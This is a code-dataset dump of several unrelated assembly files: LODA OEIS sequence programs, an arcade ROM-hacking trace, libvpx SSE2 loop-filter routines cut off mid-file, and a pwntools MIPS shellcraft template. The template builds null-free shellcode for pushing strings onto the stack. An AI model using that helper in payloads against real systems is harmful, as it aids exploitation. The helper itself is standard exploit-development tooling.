content
stringlengths 5
1.04M
| avg_line_length
float64 1.75
12.9k
| max_line_length
int64 2
244k
| alphanum_fraction
float64 0
0.98
| licenses
sequence | repository_name
stringlengths 7
92
| path
stringlengths 3
249
| size
int64 5
1.04M
| lang
stringclasses 2
values |
|---|---|---|---|---|---|---|---|---|
; A259594: Denominators of the other-side convergents to sqrt(6).
; Submitted by Jon Maiga
; 1,3,11,29,109,287,1079,2841,10681,28123,105731,278389,1046629,2755767,10360559,27279281,102558961,270037043,1015229051,2673091149,10049731549,26460874447,99482086439,261935653321,984771132841,2592895658763,9748229241971,25667020934309,96497521286869,254077313684327,955226983626719,2515106115908961,9455772314980321,24896983845405283,93602496166176491,246454732338143869,926569189346784589,2439650339536033407,9172089397301669399,24150048663022190201,90794324783669909401,239060836290685868603
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,142239 ; Denominators of continued fraction convergents to sqrt(3/2).
add $1,$2
lpe
mov $0,$1
mul $0,2
add $0,1
| 50.133333 | 495 | 0.829787 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/259/A259594.asm | 752 | Assembly |
; A141213: Defining A to be the interior angle of a regular polygon, the number of constructible regular polygons such that A is in a field extension = degree 2^n, starting with n=0. This is also the number of values of x such that phi(x)/2 = 2^n (where phi is Euler's phi function), also starting with n=0.
; 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,34,34
lpb $0
mov $0,31
lpe
add $0,3
add $1,$0
| 49.777778 | 307 | 0.705357 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/141/A141213.asm | 448 | Assembly |
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
000AF4 clr.w ($7e8,A5) [base+7E4]
000AF8 jsr $b10.l [base+7E8]
004D24 move.l D0, (A4)+
004D26 move.l D0, (A4)+
00D8F0 move.w #$0, ($7e8,A5)
00D8F6 move.w #$0, ($7e4,A5)
00D98C subi.w #$10, ($7e8,A5) [base+ 28]
00D992 addi.w #$10, ($7e4,A5) [base+7E8]
00DA38 addi.w #$10, ($7e8,A5)
00DA3E subi.w #$10, ($7e4,A5) [base+7E8]
00DABC move.w #$0, ($7e8,A5)
00DAC2 move.w #$0, ($7e4,A5)
00DAC8 subi.w #$30, ($7e8,A5)
00DACE addi.w #$10, ($7e4,A5) [base+7E8]
00DB84 subi.w #$10, ($7e8,A5)
00DB8A subi.w #$10, ($7e4,A5) [base+7E8]
02041A clr.l ($7e8,A5)
02041E clr.l ($836,A5)
022D22 move.w ($48,A6), ($c,A6)
022D28 bra $22d36 [base+7E8]
022D7A tst.w ($c,A6)
022D7E bpl $22d84 [base+7E8]
022E4C move.w D0, ($c,A6) [base+838]
022E50 bra $22ed2 [base+7E8]
022EE8 move.w ($c,A6), D0
022EEC move.w ($48,A6), D1 [base+7E8]
022F28 move.w ($c,A6), D0 [base+822]
022F2C sub.w ($48,A6), D0 [base+7E8]
022F3A move.w ($c,A6), D1
022F3E btst #$4, D1 [base+7E8]
089F90 move.w D0, ($7e8,A5)
089F94 move.b #$1, ($88,A6)
089FAA move.w ($82,A6), ($7e8,A5) [base+ 2E]
089FB0 move.w ($84,A6), ($7e4,A5) [base+7E8]
089FCA move.w ($82,A6), ($7e8,A5) [base+ 28]
089FD0 move.w ($84,A6), ($7e4,A5) [base+7E8]
091FD8 move.w #$0, ($7e8,A5)
091FDE jsr $b88.l
09220C subi.w #$2, ($7e8,A5)
092212 rts [base+7E8]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
| 54.224138 | 350 | 0.626391 | [
"Apache-2.0"
] | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | dino/lcs/base/7E8.asm | 3,145 | Assembly |
<%
from pwnlib.util import lists, packing, fiddling
from pwnlib.shellcraft import mips
%>
<%page args="string, append_null = True"/>
<%docstring>
Pushes a string onto the stack without using
null bytes or newline characters.
Args:
string (str): The string to push.
append_null (bool): Whether to append a single NULL-byte before pushing.
</%docstring>
<%
if append_null:
string += '\x00'
if not string:
return
%>\
/* push ${repr(string)} */
% for word in lists.group(4, string, 'fill', '\x00')[::-1]:
${mips.mov('$at', packing.unpack(word))}
sw $at, -4($sp)
add $sp, $sp, -4
% endfor
| 24.346154 | 74 | 0.635071 | [
"MIT"
] | Acidburn0zzz/pwntools | pwnlib/shellcraft/templates/mips/pushstr.asm | 633 | Assembly |
; A139544: Numbers which are not the difference of two squares of positive integers.
; 1,2,4,6,10,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222,226,230
mov $1,$0
trn $1,3
add $0,$1
mul $0,2
trn $0,1
add $0,1
| 35.3 | 210 | 0.699717 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/139/A139544.asm | 353 | Assembly |
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
%include "vpx_ports/x86_abi_support.asm"
section .text
%define _t0 0
%define _t1 _t0 + 16
%define _p3 _t1 + 16
%define _p2 _p3 + 16
%define _p1 _p2 + 16
%define _p0 _p1 + 16
%define _q0 _p0 + 16
%define _q1 _q0 + 16
%define _q2 _q1 + 16
%define _q3 _q2 + 16
%define lf_var_size 160
; Use of pmaxub instead of psubusb to compute filter mask was seen
; in ffvp8
%macro LFH_FILTER_AND_HEV_MASK 1
%if %1
movdqa xmm2, [rdi+2*rax] ; q3
movdqa xmm1, [rsi+2*rax] ; q2
movdqa xmm4, [rsi+rax] ; q1
movdqa xmm5, [rsi] ; q0
neg rax ; negate pitch to deal with above border
%else
movlps xmm2, [rsi + rcx*2] ; q3
movlps xmm1, [rsi + rcx] ; q2
movlps xmm4, [rsi] ; q1
movlps xmm5, [rsi + rax] ; q0
movhps xmm2, [rdi + rcx*2]
movhps xmm1, [rdi + rcx]
movhps xmm4, [rdi]
movhps xmm5, [rdi + rax]
lea rsi, [rsi + rax*4]
lea rdi, [rdi + rax*4]
movdqa [rsp+_q2], xmm1 ; store q2
movdqa [rsp+_q1], xmm4 ; store q1
%endif
movdqa xmm7, [rdx] ;limit
movdqa xmm6, xmm1 ; q2
movdqa xmm3, xmm4 ; q1
psubusb xmm1, xmm2 ; q2-=q3
psubusb xmm2, xmm6 ; q3-=q2
psubusb xmm4, xmm6 ; q1-=q2
psubusb xmm6, xmm3 ; q2-=q1
por xmm4, xmm6 ; abs(q2-q1)
por xmm1, xmm2 ; abs(q3-q2)
movdqa xmm0, xmm5 ; q0
pmaxub xmm1, xmm4
psubusb xmm5, xmm3 ; q0-=q1
psubusb xmm3, xmm0 ; q1-=q0
por xmm5, xmm3 ; abs(q0-q1)
movdqa [rsp+_t0], xmm5 ; save to t0
pmaxub xmm1, xmm5
%if %1
movdqa xmm2, [rsi+4*rax] ; p3
movdqa xmm4, [rdi+4*rax] ; p2
movdqa xmm6, [rsi+2*rax] ; p1
%else
movlps xmm2, [rsi + rax] ; p3
movlps xmm4, [rsi] ; p2
movlps xmm6, [rsi + rcx] ; p1
movhps xmm2, [rdi + rax]
movhps xmm4, [rdi]
movhps xmm6, [rdi + rcx]
movdqa [rsp+_p2], xmm4 ; store p2
movdqa [rsp+_p1], xmm6 ; store p1
%endif
movdqa xmm5, xmm4 ; p2
movdqa xmm3, xmm6 ; p1
psubusb xmm4, xmm2 ; p2-=p3
psubusb xmm2, xmm5 ; p3-=p2
psubusb xmm3, xmm5 ; p1-=p2
pmaxub xmm1, xmm4 ; abs(p3 - p2)
psubusb xmm5, xmm6 ; p2-=p1
pmaxub xmm1, xmm2 ; abs(p3 - p2)
pmaxub xmm1, xmm5 ; abs(p2 - p1)
movdqa xmm2, xmm6 ; p1
pmaxub xmm1, xmm3 ; abs(p2 - p1)
%if %1
movdqa xmm4, [rsi+rax] ; p0
movdqa xmm3, [rdi] ; q1
%else
movlps xmm4, [rsi + rcx*2] ; p0
movhps xmm4, [rdi + rcx*2]
movdqa xmm3, [rsp+_q1] ; q1
%endif
movdqa xmm5, xmm4 ; p0
psubusb xmm4, xmm6 ; p0-=p1
psubusb xmm6, xmm5 ; p1-=p0
por xmm6, xmm4 ; abs(p1 - p0)
mov rdx, arg(2) ; get blimit
movdqa [rsp+_t1], xmm6 ; save to t1
movdqa xmm4, xmm3 ; q1
pmaxub xmm1, xmm6
psubusb xmm3, xmm2 ; q1-=p1
psubusb xmm2, xmm4 ; p1-=q1
psubusb xmm1, xmm7
por xmm2, xmm3 ; abs(p1-q1)
movdqa xmm7, [rdx] ; blimit
mov rdx, arg(4) ; hev get thresh
movdqa xmm3, xmm0 ; q0
pand xmm2, [GLOBAL(tfe)] ; set lsb of each byte to zero
movdqa xmm6, xmm5 ; p0
psrlw xmm2, 1 ; abs(p1-q1)/2
psubusb xmm5, xmm3 ; p0-=q0
psubusb xmm3, xmm6 ; q0-=p0
por xmm5, xmm3 ; abs(p0 - q0)
paddusb xmm5, xmm5 ; abs(p0-q0)*2
movdqa xmm4, [rsp+_t0] ; hev get abs (q1 - q0)
movdqa xmm3, [rsp+_t1] ; get abs (p1 - p0)
paddusb xmm5, xmm2 ; abs (p0 - q0) *2 + abs(p1-q1)/2
movdqa xmm2, [rdx] ; hev
psubusb xmm5, xmm7 ; abs (p0 - q0) *2 + abs(p1-q1)/2 > blimit
psubusb xmm4, xmm2 ; hev
psubusb xmm3, xmm2 ; hev
por xmm1, xmm5
pxor xmm7, xmm7
paddb xmm4, xmm3 ; hev abs(q1 - q0) > thresh || abs(p1 - p0) > thresh
pcmpeqb xmm4, xmm5 ; hev
pcmpeqb xmm3, xmm3 ; hev
pcmpeqb xmm1, xmm7 ; mask xmm1
pxor xmm4, xmm3 ; hev
%endmacro
%macro B_FILTER 1
movdqa xmm3, [GLOBAL(t80)]
%if %1 == 0
movdqa xmm2, [rsp+_p1] ; p1
movdqa xmm7, [rsp+_q1] ; q1
%elif %1 == 1
movdqa xmm2, [rsi+2*rax] ; p1
movdqa xmm7, [rdi] ; q1
%elif %1 == 2
movdqa xmm2, [rsp+_p1] ; p1
movdqa xmm6, [rsp+_p0] ; p0
movdqa xmm0, [rsp+_q0] ; q0
movdqa xmm7, [rsp+_q1] ; q1
%endif
pxor xmm2, xmm3 ; p1 offset to convert to signed values
pxor xmm7, xmm3 ; q1 offset to convert to signed values
psubsb xmm2, xmm7 ; p1 - q1
pxor xmm6, xmm3 ; offset to convert to signed values
pand xmm2, xmm4 ; high var mask (hvm)(p1 - q1)
pxor xmm0, xmm3 ; offset to convert to signed values
movdqa xmm3, xmm0 ; q0
psubsb xmm0, xmm6 ; q0 - p0
paddsb xmm2, xmm0 ; 1 * (q0 - p0) + hvm(p1 - q1)
paddsb xmm2, xmm0 ; 2 * (q0 - p0) + hvm(p1 - q1)
paddsb xmm2, xmm0 ; 3 * (q0 - p0) + hvm(p1 - q1)
pand xmm1, xmm2 ; mask filter values we don't care about
movdqa xmm2, xmm1
paddsb xmm1, [GLOBAL(t4)] ; 3* (q0 - p0) + hvm(p1 - q1) + 4
paddsb xmm2, [GLOBAL(t3)] ; 3* (q0 - p0) + hvm(p1 - q1) + 3
punpckhbw xmm5, xmm2 ; axbxcxdx
punpcklbw xmm2, xmm2 ; exfxgxhx
punpcklbw xmm0, xmm1 ; exfxgxhx
psraw xmm5, 11 ; sign extended shift right by 3
punpckhbw xmm1, xmm1 ; axbxcxdx
psraw xmm2, 11 ; sign extended shift right by 3
packsswb xmm2, xmm5 ; (3* (q0 - p0) + hvm(p1 - q1) + 3) >> 3;
psraw xmm0, 11 ; sign extended shift right by 3
psraw xmm1, 11 ; sign extended shift right by 3
movdqa xmm5, xmm0 ; save results
packsswb xmm0, xmm1 ; (3* (q0 - p0) + hvm(p1 - q1) + 4) >>3
paddsb xmm6, xmm2 ; p0+= p0 add
movdqa xmm2, [GLOBAL(ones)]
paddsw xmm5, xmm2
paddsw xmm1, xmm2
psraw xmm5, 1 ; partial shifted one more time for 2nd tap
psraw xmm1, 1 ; partial shifted one more time for 2nd tap
packsswb xmm5, xmm1 ; (3* (q0 - p0) + hvm(p1 - q1) + 4) >>4
movdqa xmm2, [GLOBAL(t80)]
%if %1 == 0
movdqa xmm1, [rsp+_p1] ; p1
lea rsi, [rsi + rcx*2]
lea rdi, [rdi + rcx*2]
%elif %1 == 1
movdqa xmm1, [rsi+2*rax] ; p1
%elif %1 == 2
movdqa xmm1, [rsp+_p1] ; p1
%endif
pandn xmm4, xmm5 ; high edge variance additive
pxor xmm6, xmm2 ; unoffset
pxor xmm1, xmm2 ; reoffset
psubsb xmm3, xmm0 ; q0-= q0 add
paddsb xmm1, xmm4 ; p1+= p1 add
pxor xmm3, xmm2 ; unoffset
pxor xmm1, xmm2 ; unoffset
psubsb xmm7, xmm4 ; q1-= q1 add
pxor xmm7, xmm2 ; unoffset
%if %1 == 0
movq [rsi], xmm6 ; p0
movhps [rdi], xmm6
movq [rsi + rax], xmm1 ; p1
movhps [rdi + rax], xmm1
movq [rsi + rcx], xmm3 ; q0
movhps [rdi + rcx], xmm3
movq [rsi + rcx*2], xmm7 ; q1
movhps [rdi + rcx*2], xmm7
%elif %1 == 1
movdqa [rsi+rax], xmm6 ; write back
movdqa [rsi+2*rax], xmm1 ; write back
movdqa [rsi], xmm3 ; write back
movdqa [rdi], xmm7 ; write back
%endif
%endmacro
SECTION .text
%if ABI_IS_32BIT
;void vp8_loop_filter_horizontal_edge_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
;)
global sym(vp8_loop_filter_horizontal_edge_sse2) PRIVATE
sym(vp8_loop_filter_horizontal_edge_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ;src_ptr
movsxd rax, dword ptr arg(1) ;src_pixel_step
mov rdx, arg(3) ;limit
lea rdi, [rsi+rax] ; rdi points to row +1 for indirect addressing
; calculate breakout conditions and high edge variance
LFH_FILTER_AND_HEV_MASK 1
; filter and write back the result
B_FILTER 1
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
%endif
;void vp8_loop_filter_horizontal_edge_uv_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
; int count
;)
global sym(vp8_loop_filter_horizontal_edge_uv_sse2) PRIVATE
sym(vp8_loop_filter_horizontal_edge_uv_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ; u
mov rdi, arg(5) ; v
movsxd rax, dword ptr arg(1) ; src_pixel_step
mov rcx, rax
neg rax ; negate pitch to deal with above border
mov rdx, arg(3) ;limit
lea rsi, [rsi + rcx]
lea rdi, [rdi + rcx]
; calculate breakout conditions and high edge variance
LFH_FILTER_AND_HEV_MASK 0
; filter and write back the result
B_FILTER 0
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
%macro MB_FILTER_AND_WRITEBACK 1
movdqa xmm3, [GLOBAL(t80)]
%if %1 == 0
movdqa xmm2, [rsp+_p1] ; p1
movdqa xmm7, [rsp+_q1] ; q1
%elif %1 == 1
movdqa xmm2, [rsi+2*rax] ; p1
movdqa xmm7, [rdi] ; q1
mov rcx, rax
neg rcx
%elif %1 == 2
movdqa xmm2, [rsp+_p1] ; p1
movdqa xmm6, [rsp+_p0] ; p0
movdqa xmm0, [rsp+_q0] ; q0
movdqa xmm7, [rsp+_q1] ; q1
%endif
pxor xmm2, xmm3 ; p1 offset to convert to signed values
pxor xmm7, xmm3 ; q1 offset to convert to signed values
pxor xmm6, xmm3 ; offset to convert to signed values
pxor xmm0, xmm3 ; offset to convert to signed values
psubsb xmm2, xmm7 ; p1 - q1
movdqa xmm3, xmm0 ; q0
psubsb xmm0, xmm6 ; q0 - p0
paddsb xmm2, xmm0 ; 1 * (q0 - p0) + (p1 - q1)
paddsb xmm2, xmm0 ; 2 * (q0 - p0)
paddsb xmm2, xmm0 ; 3 * (q0 - p0) + (p1 - q1)
pand xmm1, xmm2 ; mask filter values we don't care about
movdqa xmm2, xmm1 ; vp8_filter
pand xmm2, xmm4 ; Filter2 = vp8_filter & hev
pxor xmm0, xmm0
pandn xmm4, xmm1 ; vp8_filter&=~hev
pxor xmm1, xmm1
punpcklbw xmm0, xmm4 ; Filter 2 (hi)
punpckhbw xmm1, xmm4 ; Filter 2 (lo)
movdqa xmm5, xmm2
movdqa xmm4, [GLOBAL(s9)]
paddsb xmm5, [GLOBAL(t3)] ; vp8_signed_char_clamp(Filter2 + 3)
paddsb xmm2, [GLOBAL(t4)] ; vp8_signed_char_clamp(Filter2 + 4)
pmulhw xmm1, xmm4 ; Filter 2 (lo) * 9
pmulhw xmm0, xmm4 ; Filter 2 (hi) * 9
punpckhbw xmm7, xmm5 ; axbxcxdx
punpcklbw xmm5, xmm5 ; exfxgxhx
psraw xmm7, 11 ; sign extended shift right by 3
psraw xmm5, 11 ; sign extended shift right by 3
punpckhbw xmm4, xmm2 ; axbxcxdx
punpcklbw xmm2, xmm2 ; exfxgxhx
psraw xmm4, 11 ; sign extended shift right by 3
packsswb xmm5, xmm7 ; Filter2 >>=3;
psraw xmm2, 11 ; sign extended shift right by 3
packsswb xmm2, xmm4 ; Filter1 >>=3;
paddsb xmm6, xmm5 ; ps0 =ps0 + Fitler2
psubsb xmm3, xmm2 ; qs0 =qs0 - Filter1
movdqa xmm7, xmm1
movdqa xmm4, [GLOBAL(s63)]
movdqa xmm5, xmm0
movdqa xmm2, xmm5
paddw xmm0, xmm4 ; Filter 2 (hi) * 9 + 63
paddw xmm1, xmm4 ; Filter 2 (lo) * 9 + 63
movdqa xmm4, xmm7
paddw xmm5, xmm5 ; Filter 2 (hi) * 18
paddw xmm7, xmm7 ; Filter 2 (lo) * 18
paddw xmm5, xmm0 ; Filter 2 (hi) * 27 + 63
paddw xmm7, xmm1 ; Filter 2 (lo) * 27 + 63
paddw xmm2, xmm0 ; Filter 2 (hi) * 18 + 63
psraw xmm0, 7 ; (Filter 2 (hi) * 9 + 63) >> 7
paddw xmm4, xmm1 ; Filter 2 (lo) * 18 + 63
psraw xmm1, 7 ; (Filter 2 (lo) * 9 + 63) >> 7
psraw xmm2, 7 ; (Filter 2 (hi) * 18 + 63) >> 7
packsswb xmm0, xmm1 ; u1 = vp8_signed_char_clamp((63 + Filter2 * 9)>>7)
psraw xmm4, 7 ; (Filter 2 (lo) * 18 + 63) >> 7
psraw xmm5, 7 ; (Filter 2 (hi) * 27 + 63) >> 7
psraw xmm7, 7 ; (Filter 2 (lo) * 27 + 63) >> 7
packsswb xmm5, xmm7 ; u3 = vp8_signed_char_clamp((63 + Filter2 * 27)>>7)
packsswb xmm2, xmm4 ; u2 = vp8_signed_char_clamp((63 + Filter2 * 18)>>7)
movdqa xmm7, [GLOBAL(t80)]
%if %1 == 0
movdqa xmm1, [rsp+_q1] ; q1
movdqa xmm4, [rsp+_p1] ; p1
lea rsi, [rsi+rcx*2]
lea rdi, [rdi+rcx*2]
%elif %1 == 1
movdqa xmm1, [rdi] ; q1
movdqa xmm4, [rsi+rax*2] ; p1
%elif %1 == 2
movdqa xmm4, [rsp+_p1] ; p1
movdqa xmm1, [rsp+_q1] ; q1
%endif
pxor xmm1, xmm7
pxor xmm4, xmm7
psubsb xmm3, xmm5 ; sq = vp8_signed_char_clamp(qs0 - u3)
paddsb xmm6, xmm5 ; sp = vp8_signed_char_clamp(ps0 - u3)
psubsb xmm1, xmm2 ; sq = vp8_signed_char_clamp(qs1 - u2)
paddsb xmm4, xmm2 ; sp = vp8_signed_char_clamp(ps1 - u2)
%if %1 == 1
movdqa xmm2, [rdi+rax*4] ; p2
movdqa xmm5, [rdi+rcx] ; q2
%else
movdqa xmm2, [rsp+_p2] ; p2
movdqa xmm5, [rsp+_q2] ; q2
%endif
pxor xmm1, xmm7 ; *oq1 = sq^0x80;
pxor xmm4, xmm7 ; *op1 = sp^0x80;
pxor xmm2, xmm7
pxor xmm5, xmm7
paddsb xmm2, xmm0 ; sp = vp8_signed_char_clamp(ps2 - u)
psubsb xmm5, xmm0 ; sq = vp8_signed_char_clamp(qs2 - u)
pxor xmm2, xmm7 ; *op2 = sp^0x80;
pxor xmm5, xmm7 ; *oq2 = sq^0x80;
pxor xmm3, xmm7 ; *oq0 = sq^0x80
pxor xmm6, xmm7 ; *oq0 = sp^0x80
%if %1 == 0
movq [rsi], xmm6 ; p0
movhps [rdi], xmm6
movq [rsi + rcx], xmm3 ; q0
movhps [rdi + rcx], xmm3
lea rdx, [rcx + rcx*2]
movq [rsi+rcx*2], xmm1 ; q1
movhps [rdi+rcx*2], xmm1
movq [rsi + rax], xmm4 ; p1
movhps [rdi + rax], xmm4
movq [rsi+rax*2], xmm2 ; p2
movhps [rdi+rax*2], xmm2
movq [rsi+rdx], xmm5 ; q2
movhps [rdi+rdx], xmm5
%elif %1 == 1
movdqa [rdi+rcx], xmm5 ; q2
movdqa [rdi], xmm1 ; q1
movdqa [rsi], xmm3 ; q0
movdqa [rsi+rax ], xmm6 ; p0
movdqa [rsi+rax*2], xmm4 ; p1
movdqa [rdi+rax*4], xmm2 ; p2
%elif %1 == 2
movdqa [rsp+_p1], xmm4 ; p1
movdqa [rsp+_p0], xmm6 ; p0
movdqa [rsp+_q0], xmm3 ; q0
movdqa [rsp+_q1], xmm1 ; q1
%endif
%endmacro
;void vp8_mbloop_filter_horizontal_edge_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
;)
global sym(vp8_mbloop_filter_horizontal_edge_sse2) PRIVATE
sym(vp8_mbloop_filter_horizontal_edge_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ;src_ptr
movsxd rax, dword ptr arg(1) ;src_pixel_step
mov rdx, arg(3) ;limit
lea rdi, [rsi+rax] ; rdi points to row +1 for indirect addressing
; calculate breakout conditions and high edge variance
LFH_FILTER_AND_HEV_MASK 1
; filter and write back the results
MB_FILTER_AND_WRITEBACK 1
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vp8_mbloop_filter_horizontal_edge_uv_sse2
;(
; unsigned char *u,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
; unsigned char *v
;)
global sym(vp8_mbloop_filter_horizontal_edge_uv_sse2) PRIVATE
sym(vp8_mbloop_filter_horizontal_edge_uv_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ; u
mov rdi, arg(5) ; v
movsxd rax, dword ptr arg(1) ; src_pixel_step
mov rcx, rax
neg rax ; negate pitch to deal with above border
mov rdx, arg(3) ;limit
lea rsi, [rsi + rcx]
lea rdi, [rdi + rcx]
; calculate breakout conditions and high edge variance
LFH_FILTER_AND_HEV_MASK 0
; filter and write back the results
MB_FILTER_AND_WRITEBACK 0
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
%macro TRANSPOSE_16X8 2
movq xmm4, [rsi] ; xx xx xx xx xx xx xx xx 07 06 05 04 03 02 01 00
movq xmm1, [rdi] ; xx xx xx xx xx xx xx xx 17 16 15 14 13 12 11 10
movq xmm0, [rsi+2*rax] ; xx xx xx xx xx xx xx xx 27 26 25 24 23 22 21 20
movq xmm7, [rdi+2*rax] ; xx xx xx xx xx xx xx xx 37 36 35 34 33 32 31 30
movq xmm5, [rsi+4*rax] ; xx xx xx xx xx xx xx xx 47 46 45 44 43 42 41 40
movq xmm2, [rdi+4*rax] ; xx xx xx xx xx xx xx xx 57 56 55 54 53 52 51 50
punpcklbw xmm4, xmm1 ; 17 07 16 06 15 05 14 04 13 03 12 02 11 01 10 00
movq xmm1, [rdi+2*rcx] ; xx xx xx xx xx xx xx xx 77 76 75 74 73 72 71 70
movdqa xmm3, xmm4 ; 17 07 16 06 15 05 14 04 13 03 12 02 11 01 10 00
punpcklbw xmm0, xmm7 ; 37 27 36 36 35 25 34 24 33 23 32 22 31 21 30 20
movq xmm7, [rsi+2*rcx] ; xx xx xx xx xx xx xx xx 67 66 65 64 63 62 61 60
punpcklbw xmm5, xmm2 ; 57 47 56 46 55 45 54 44 53 43 52 42 51 41 50 40
%if %1
lea rsi, [rsi+rax*8]
lea rdi, [rdi+rax*8]
%else
mov rsi, arg(5) ; v_ptr
%endif
movdqa xmm6, xmm5 ; 57 47 56 46 55 45 54 44 53 43 52 42 51 41 50 40
punpcklbw xmm7, xmm1 ; 77 67 76 66 75 65 74 64 73 63 72 62 71 61 70 60
punpcklwd xmm5, xmm7 ; 73 63 53 43 72 62 52 42 71 61 51 41 70 60 50 40
punpckhwd xmm6, xmm7 ; 77 67 57 47 76 66 56 46 75 65 55 45 74 64 54 44
punpcklwd xmm3, xmm0 ; 33 23 13 03 32 22 12 02 31 21 11 01 30 20 10 00
%if %1 == 0
lea rdi, [rsi + rax - 4] ; rdi points to row +1 for indirect addressing
lea rsi, [rsi - 4]
%endif
movdqa xmm2, xmm3 ; 33 23 13 03 32 22 12 02 31 21 11 01 30 20 10 00
punpckhwd xmm4, xmm0 ; 37 27 17 07 36 26 16 06 35 25 15 05 34 24 14 04
movdqa xmm7, xmm4 ; 37 27 17 07 36 26 16 06 35 25 15 05 34 24 14 04
punpckhdq xmm3, xmm5 ; 73 63 53 43 33 23 13 03 72 62 52 42 32 22 12 02
punpckhdq xmm7, xmm6 ; 77 67 57 47 37 27 17 07 76 66 56 46 36 26 16 06
punpckldq xmm4, xmm6 ; 75 65 55 45 35 25 15 05 74 64 54 44 34 24 14 04
punpckldq xmm2, xmm5 ; 71 61 51 41 31 21 11 01 70 60 50 40 30 20 10 00
movdqa [rsp+_t0], xmm2 ; save to free XMM2
movq xmm2, [rsi] ; xx xx xx xx xx xx xx xx 87 86 85 84 83 82 81 80
movq xmm6, [rdi] ; xx xx xx xx xx xx xx xx 97 96 95 94 93 92 91 90
movq xmm0, [rsi+2*rax] ; xx xx xx xx xx xx xx xx a7 a6 a5 a4 a3 a2 a1 a0
movq xmm5, [rdi+2*rax] ; xx xx xx xx xx xx xx xx b7 b6 b5 b4 b3 b2 b1 b0
movq xmm1, [rsi+4*rax] ; xx xx xx xx xx xx xx xx c7 c6 c5 c4 c3 c2 c1 c0
punpcklbw xmm2, xmm6 ; 97 87 96 86 95 85 94 84 93 83 92 82 91 81 90 80
movq xmm6, [rdi+4*rax] ; xx xx xx xx xx xx xx xx d7 d6 d5 d4 d3 d2 d1 d0
